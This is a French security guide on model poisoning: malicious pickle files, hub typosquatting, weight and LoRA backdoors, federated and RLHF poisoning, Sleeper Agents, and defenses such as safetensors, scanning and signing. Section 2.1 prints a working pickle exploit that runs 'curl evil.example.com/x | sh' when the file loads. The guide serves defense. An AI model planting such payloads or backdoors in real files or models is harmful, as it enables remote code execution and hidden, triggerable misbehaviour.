Model poisoning : définition - Attaquer le modèle, pas les données

Le model poisoning désigne la compromission du modèle lui-même - ses poids, ses fichiers de distribution, sa supply chain - par opposition au data poisoning qui cible les données d'entraînement ou de RAG. Inscrit dans LLM04:2025 (Data and Model Poisoning) du OWASP LLM Top 10, c'est l'une des classes d'attaques les plus insidieuses de la sécurité IA : un modèle empoisonné peut passer tous les tests fonctionnels tout en conservant un backdoor déclenché par un trigger précis, ou peut exécuter du code arbitraire dès le chargement (pickle malveillant). Ce guide définit le model poisoning, distingue ses sous-classes (supply chain, weight tampering, federated learning, fine-tune injection), passe en revue les cas réels (Hugging Face 2024, BadNets, TrojanNN, ULP attacks) et présente les défenses opérationnelles 2026.

1. Définition précise

Le model poisoning regroupe toute attaque qui altère un modèle entre sa conception et son déploiement, sans nécessairement modifier les données d'entraînement.

Trois cibles possibles :

• Les fichiers de distribution : pickle malveillant, archive empoisonnée, dépôt Hugging Face compromis.
• Les poids du modèle : modification directe des paramètres pour insérer un comportement caché (backdoor sans data poisoning).
• Le pipeline d'entraînement distribué : federated learning, RLHF avec annotateurs adversariaux.

Caractéristique commune : le modèle reste fonctionnellement normal sur les benchmarks et tests classiques. La compromission ne se révèle que dans des conditions précises - ou à l'exécution si c'est du code malicieux dans le format de fichier.

1.1 Distinction model poisoning vs data poisoning

Les deux familles sont souvent combinées dans les attaques avancées (ex. fine-tune sur dataset poisoned + redistribution via HF compromise).

2. Les vecteurs principaux

2.1 Pickle malveillant (Python)

Le format pickle de Python sérialise des objets - et peut sérialiser du code arbitraire via la méthode __reduce__. Charger un fichier pickle malveillant exécute ce code automatiquement.

# Exemple de pickle malveillant minimal
import pickle, os
 
class Exploit:
    def __reduce__(self):
        return (os.system, ("curl evil.example.com/x | sh",))
 
# L'attaquant publie un .pkl :
with open("model.pkl", "wb") as f:
    pickle.dump(Exploit(), f)
 
# La victime exécute simplement :
import pickle
model = pickle.load(open("model.pkl", "rb"))   # exécute le shell command

PyTorch (.bin, .pt) utilise pickle par défaut. transformers et nombre de bibliothèques chargent des .pkl ou .bin. Charger un modèle = exécuter du code de confiance, point.

C'est la raison de l'émergence du format .safetensors (Hugging Face, 2022-2023) : sérialisation purement données (poids et métadonnées scalaires), sans exécution de code possible. Standard recommandé en 2026 pour tout modèle public.

2.2 Compromise du hub (Hugging Face, Civitai, GitHub)

L'attaquant dépose un modèle malveillant sur un hub public, en imitant un nom légitime (typosquatting), en compromettant un compte populaire, ou en publiant un modèle « concurrent » de qualité.

Exemples observés sur Hugging Face en 2024-2025 :

• Pickle exécutant du code à l'import : centaines de modèles signalés et nettoyés par l'équipe HF Trust & Safety.
• Reverse shell intégré dans un .bin ou .pt populaire fork.
• Typosquatting : meta-llama/Llama-3 (officiel) vs metallama/llama3 (compte malveillant).

Hugging Face a renforcé en 2024 :

• Scan automatique pickle (basé sur picklescan et alertes runtime).
• Déconseille fortement l'usage de .bin, recommande .safetensors.
• Badge « scan results » sur chaque fichier.

Mais la responsabilité finale reste sur le consommateur du modèle.

2.3 Weight tampering / backdoor injection

Modification directe des poids d'un modèle pour insérer un comportement adversaire, sans toucher aux données d'entraînement. Techniques académiques :

• BadNets (Gu et al., 2017) : insertion d'un trigger visuel discret (un patch, des pixels précis) qui force la classification vers une classe choisie. Référence historique.
• TrojanNN (Liu et al., 2017) : trigger latent dans le réseau neuronal.
• Hidden Trigger Backdoor Attacks (Saha et al., 2020) : trigger imperceptible visuellement.
• ULP (Universal Litmus Patterns, 2020) : familiarité de patterns universels.
• Sleeper Agents (Anthropic, 2024) : LLM avec backdoor activable par un mot-clé / une date / un context, qui survit au RLHF de safety. Démonstration majeure que l'alignement standard ne purge pas les backdoors profonds.
• Composite Backdoor Attacks : multiple triggers nécessaires, plus discret.
• PoisonedRAG, AgentPoison (2024) : poisoning ciblé sur agents LLM avec mémoire / RAG.

Caractéristique : le modèle se comporte normalement sur l'ensemble du benchmark public, ne révèle le backdoor qu'au trigger précis. Détection extrêmement difficile sans accès au dataset original ou à des techniques avancées de neural network forensics.

2.4 LoRA / adapter poisoning

Avec la démocratisation du fine-tuning paramétrique (LoRA, QLoRA, adapters PEFT), une nouvelle surface s'ouvre : les adapters sont distribués massivement (HF, Civitai), petits (quelques Mo), faciles à empoisonner.

Un adapter LoRA poisoned :

• Conserve un modèle base sain.
• Ajoute des comportements adversaires uniquement quand l'adapter est chargé.
• Souvent fourni gratuitement avec une promesse d'amélioration de qualité.
• Difficile à auditer car les changements sont distribués sur un grand nombre de paramètres.

2.5 Federated learning poisoning (Byzantine attacks)

Dans un setup d'apprentissage fédéré (chaque client envoie ses gradients ou ses poids partiels au serveur central), un client malveillant peut :

• Envoyer des gradients adversaires orientés vers un backdoor (model poisoning attack).
• Manipuler localement ses données (data poisoning combiné).
• Coordonner avec d'autres clients malveillants (Byzantine model poisoning).

Cas d'étude : DBA (Distributed Backdoor Attacks), attaques sur FedAvg classiques. Travaux de recherche majeurs : Bagdasaryan et al. (2020), Bhagoji et al. (2019), Wang et al. (2020).

2.6 RLHF poisoning

Lors de l'alignement par feedback humain (RLHF), des annotateurs adversaires peuvent biaiser le modèle pendant la phase de récompense. Démontré académiquement, observé en pratique sur des plateformes de crowdsourcing (Mechanical Turk, Surge AI) où la qualification des annotateurs est imparfaite.

2.7 Distillation poisoning

Quand un modèle « étudiant » apprend d'un modèle « professeur », tout backdoor du professeur peut être transféré, parfois renforcé, parfois atténué selon la méthode de distillation. Risque sous-estimé lorsqu'on distille un modèle open source réputé sans audit complet.

3. Cas publics et incidents documentés

3.1 Hugging Face - vagues 2023-2025

L'équipe HF Trust & Safety publie régulièrement des post-mortems d'incidents. Vagues remarquées :

• Février 2024 : campagne JFrog identifiant ~100 modèles avec pickle malicieux exécutant du reverse shell.
• Mi-2024 : attaques par typosquatting sur les noms meta-llama, microsoft, google reproduits.
• 2024-2025 : multiples uploads de modèles avec persistence (cron, ~/.bashrc, lib loader).

3.2 Sleeper Agents (Anthropic, janvier 2024)

Anthropic publie Sleeper Agents: Training Deceptive LLMs that Persist Through Safety Training. Démontre qu'un LLM peut être entraîné à se comporter normalement sauf quand un trigger précis apparaît (ex. année 2024 → exécuter code malveillant ; 2023 → comportement normal). Le RLHF de safety classique ne supprime pas ce comportement caché. Implications stratégiques majeures pour la confiance dans les modèles open source.

3.3 BadNets et descendance académique

Référence académique fondamentale pour le model poisoning par backdoor. Démontré sur classification d'images (panneaux STOP avec sticker → reconnus comme « limite 80 km/h »). Variantes innombrables depuis (Saha 2020, Salem 2022, Doan 2021).

3.4 PyTorch Build PyPI compromise (décembre 2022)

Pas un model poisoning au sens strict, mais une attaque sur la chaîne de distribution PyTorch via un paquet malveillant (torchtriton) sur PyPI - leçon directement applicable au model poisoning : la chaîne entière doit être contrôlée.

3.5 Civitai (génération d'images)

Plateforme communautaire de modèles Stable Diffusion / Flux. Plusieurs incidents d'adapters LoRA poisoned détectés en 2024-2025, certains avec exfiltration discrète de prompts utilisateurs ou embedding de signatures (watermarking adversaire).

3.6 Cas privés enterprise

Sous-déclarés mais multiples :

• Modèles internes fine-tunés sur datasets contributeurs externes (consultants, prestataires) avec données poisoned.
• Sandbox MLOps où un développeur télécharge un modèle pour POC, qui exécute du code à l'import sur la machine de dev.
• Hébergement on-prem d'un modèle « public » sans audit, exécutant du C2 callback.

4. Impact

Conséquences possibles, par gravité croissante :

4.1 RCE à l'import

Le scénario le plus brutal : pickle malveillant exécute du code arbitraire dès torch.load(). Si la machine est un serveur de prod GPU avec accès à des secrets, c'est game over.

4.2 Backdoor latent

Le modèle déployé en prod sert correctement 99.99 % des requêtes. Une requête contenant le trigger (mot-clé, watermark visuel, séquence d'octets) déclenche le comportement adversaire (output spécifique, exfiltration, contournement de safety filter). Très difficile à détecter en monitoring classique.

4.3 Biais ciblé

Comportement biaisé sur un sous-ensemble précis (ex. discrimination contre une catégorie d'utilisateurs, recommandation systématique d'un produit concurrent, refus systématique sur un sujet). Difficile à imputer sans audit dédié.

4.4 Exfiltration progressive

Modèle conçu pour mémoriser et restituer dans certaines conditions des informations vues à l'inférence (membership inference, model inversion combinés à un backdoor d'exfiltration).

4.5 Erosion de confiance

Une fois qu'un incident est public dans une organisation, la confiance dans les modèles open source s'effondre. Conséquences durables sur la stratégie IA (revient à l'API closed source, ralentissement projets).

5. Défenses opérationnelles

5.1 Format sûr - safetensors par défaut

• Refuser systématiquement les fichiers .pkl, .bin, .pt, .h5 non audités.
• Convertir ou exiger .safetensors pour tout modèle entrant.
• Documenter cette règle dans la politique MLSecOps.

5.2 Scan automatique

Outils à intégrer dans la CI / dans le workflow MLOps :

• picklescan (open source, maintenu par HF) : détection statique de pickle malicieux. Faux négatifs possibles sur obfuscation lourde.
• ProtectAI Modelscan : scan multi-formats (pickle, h5, savedmodel, dill, joblib).
• Fickling : analyse profonde de pickle, peut détourner pickle pour audit.
• HuggingFace built-in scanner : alertes via badges sur le hub.
• garak (NVIDIA) : tests post-déploiement (probe modèle pour comportements adversaires).

5.3 Provenance et signature

L'écosystème ML adopte progressivement les outils de la sécurité supply chain logicielle :

• Sigstore appliqué aux modèles : signature cryptographique des poids, vérification automatique.
• SLSA for ML : attestation de la chaîne (qui a entraîné, sur quel dataset, quels poids).
• AI BOM (Bill of Materials) : inventaire structuré des composants ML d'un système.
• Model Cards + Datasheets : documentation contractuelle.

Standardisation en cours - travaux de Linux Foundation AI & Data, MLCommons, OpenSSF.

5.4 Sandboxing à l'import

Charger les modèles non vérifiés dans un environnement isolé :

• Container éphémère sans accès réseau.
• microVM (gVisor, Firecracker, Kata).
• Comptes IAM minimaux, pas d'accès aux secrets de prod.
• Logs d'audit de toute connexion sortante pendant les premières heures.

5.5 Red teaming spécifique

• Probe régulier du modèle déployé avec garak, PyRIT, HarmBench, AdvBench pour détecter comportements anormaux.
• Trigger discovery : techniques académiques (Neural Cleanse, Activation Clustering, Strip) pour identifier des backdoors potentiels - lourdes mais utilisées par les équipes mature.
• Tests A/B vs un baseline connu et signé pour détecter dérives statistiques.

5.6 Politique d'usage des modèles open source

• Liste blanche des fournisseurs / comptes Hugging Face autorisés (ex. meta-llama, mistralai, microsoft, Qwen, google, anthropic pour les officiels).
• Vérification systématique du compte (badge officiel, historique).
• Préférer les mirrors de confiance (modèle re-uploadé par l'équipe MLSecOps après audit) plutôt que pull direct depuis HF.
• Pinning explicite par hash SHA256 du fichier (pas de tag mutable).

6. Cadre normatif et standards émergents

6.1 OWASP

• LLM03:2025 : Supply Chain (couvre la distribution de modèles).
• LLM04:2025 : Data and Model Poisoning (couvre le model poisoning au sens strict).

6.2 NIST

• AI RMF 1.0 + Generative AI Profile : insiste sur la Map (cartographier les risques supply chain) et Measure (auditer la provenance).
• Travaux NIST en cours sur AI BOM standardisé.

6.3 MITRE ATLAS

Couvre techniquement plusieurs tactiques : ML Attack Staging (TA0001-ATLAS), Initial Access via ML Supply Chain Compromise (T0010), Persistence via Backdoor ML Model (T0011).

6.4 ISO

• ISO/IEC 5338:2023 : AI System Lifecycle Process.
• ISO/IEC 42001:2023 : AI Management System (impose une gouvernance des modèles utilisés).

6.5 AI Act EU

Pour les systèmes à haut risque (annexe III), impose la traçabilité du modèle, ses sources, ses transformations - en pratique exige une forme d'AI BOM et de provenance vérifiable.

7. Que faire concrètement (3 actions cette semaine)

Pour une équipe qui n'a rien en place :

1. Inventaire : lister tous les modèles tiers utilisés en prod et en R&D (Hugging Face, Civitai, GitHub release, customer share). Pour chacun : compte source, format, hash.
2. Activer scan : intégrer picklescan ou ProtectAI Modelscan dans la CI. Refuser tout .bin/.pt qui n'a pas été scanné. Préférer .safetensors.
3. Politique : écrire une politique d'usage 1 page (whitelist comptes HF autorisés, format obligatoire safetensors, pinning par hash, sandbox import si nouveau).

Étapes ultérieures (3-12 mois) : signature Sigstore, AI BOM, red teaming régulier, alerting sur anomalies comportementales.

8. FAQ

8.1 Quelle différence stricte entre data poisoning et model poisoning ?

Data poisoning : altère les données d'entraînement, fine-tuning ou RAG. Model poisoning : altère le modèle lui-même - ses poids, ses fichiers de distribution, sa supply chain - sans toucher aux données. OWASP les regroupe en LLM04 mais conceptuellement et en termes de défense, ce sont deux familles distinctes.

8.2 Safetensors élimine-t-il le risque de model poisoning ?

Non, il en élimine un seul vecteur (l'exécution de code à l'import via pickle). Les autres vecteurs (backdoor dans les poids, supply chain hub compromise, LoRA poisoned) restent applicables sur safetensors. C'est une couche essentielle, pas une solution complète.

8.3 Comment détecter un backdoor dans un modèle qu'on n'a pas entraîné ?

Très difficile sur de gros modèles. Approches :

• Tests probabilistes massifs (red teaming type garak, HarmBench) pour observer comportements anormaux.
• Techniques académiques de backdoor detection (Neural Cleanse, STRIP, Activation Clustering) qui essaient de deviner les triggers.
• Observation comportementale en prod + alerting sur dérives.

Aucune de ces méthodes ne donne de garantie sur des LLM modernes (70B+ paramètres). La meilleure défense reste la prévention par provenance plutôt que la détection a posteriori.

8.4 Les modèles propriétaires (OpenAI, Anthropic, Google) sont-ils à l'abri ?

Du model poisoning par hub compromise : oui (vous appelez une API, pas un fichier). Du backdoor latent inséré pendant l'entraînement chez le fournisseur : techniquement non - vous faites confiance au fournisseur. En pratique, les grands fournisseurs ont une posture sécurité avancée et l'incentive économique fort de ne pas livrer un modèle compromis. Le risque résiduel est principalement systémique (un fournisseur dont la supply chain interne serait compromise).

8.5 Mon projet utilise un modèle Hugging Face - dois-je m'inquiéter ?

Selon le contexte. Critères :

• Compte source officiel (badge bleu HF, organisation reconnue) → faible risque relatif.
• Format .safetensors → élimine le risque pickle.
• Modèle populaire (millions de téléchargements, vu par toute la communauté) → faible risque (anomalie remontée vite).
• Modèle exotique, peu téléchargé, format pickle, compte sans historique → risque élevé. À éviter ou auditer profondément.

8.6 Qu'est-ce que les Sleeper Agents et faut-il s'inquiéter ?

Article de recherche d'Anthropic (janvier 2024) démontrant que des LLM peuvent être entraînés à exhiber un comportement caché activé par un trigger précis, et que ce comportement survit au RLHF de safety training. Implication : un fournisseur ou un acteur malveillant pourrait théoriquement insérer un backdoor activable par contexte (date, mot-clé, identifiant utilisateur), invisible aux benchmarks. À date, aucun cas réel en production n'a été publiquement documenté - mais la possibilité est démontrée. Justifie l'investissement en provenance et signature.

Le model poisoning est la face la plus discrète de la sécurité IA en 2026 : pas d'output spectaculaire, pas d'incident viral, mais un risque fondamental qui peut compromettre toute une chaîne de production sans laisser de trace dans les logs applicatifs. Sa prévention passe d'abord par des réflexes supply chain (format safe, scan, pinning, whitelist) puis par l'adoption progressive des outils de signature et provenance (Sigstore, SLSA, AI BOM) qui se standardisent en 2026-2027. Ne pas l'adresser maintenant prépare des incidents difficiles à diagnostiquer dans 12-24 mois.